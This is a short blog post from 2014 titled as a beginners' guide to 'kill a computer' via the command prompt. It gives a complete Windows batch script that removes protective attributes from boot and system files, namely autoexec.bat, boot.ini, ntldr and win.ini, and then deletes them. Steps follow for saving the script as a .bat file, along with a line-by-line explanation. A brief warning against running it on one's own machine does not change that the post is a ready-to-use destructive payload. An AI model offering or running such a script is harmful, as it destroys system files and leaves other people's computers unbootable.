Translate

Monday 29 December 2014

How to Kill a Computer by Command Prompt? For Beginners

How to Kill  a Computer by Command Prompt?




In this article, I will outline a few ways simple ways of removing important system files that will halt the functionality of a computer, using cmd. Though these commands may not always work if it has a file access restrictions on users.




Instructions


Note: DO NOT run this script on your computer, it might potentially harm your computer.To safely test such viruses, you can try running it though sandboxie or any other Sandbox emulation software.


1. Open notepad or any text editor of your choice.




2. Paste the below code in a new file.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini


3. Click on "Save As" select File Type as "All files" and save it as 'something.bat'.


4.Basically, we are creating a batch file that will run system commands.

What does this do?


@echo off - Prevent the line from being shown on the screen.
attrib -r -s -h - Configures file attributes read only,system, hidden.
del - Deletes a file from a location.
boot.ini - Contains boot configuration.
autoexec.bat - Loads programs and drivers on boot.




No comments:

Post a Comment